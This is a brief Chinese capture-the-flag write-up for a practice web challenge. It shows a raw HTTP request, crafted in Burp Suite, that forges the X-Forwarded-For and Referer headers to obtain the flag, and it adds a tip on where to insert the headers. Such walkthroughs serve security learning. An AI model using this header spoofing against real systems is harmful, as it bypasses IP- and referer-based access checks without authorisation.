标题问题说明：X老师报告小宁其实xff和referer是可以伪造。

用Burp Suites伪造X-Forwarded-For和Referer获取flag

GET / HTTP/1.1 Host: xxx.xxx.xx.xx:32032 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:53.0) Gecko/20100101 Firefox/55.0 X-Forwarded-For: 123.123.123.123 Referer: https:// Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1

注意：X-Forwarded-For和Referer插入在后面有时会不起感化
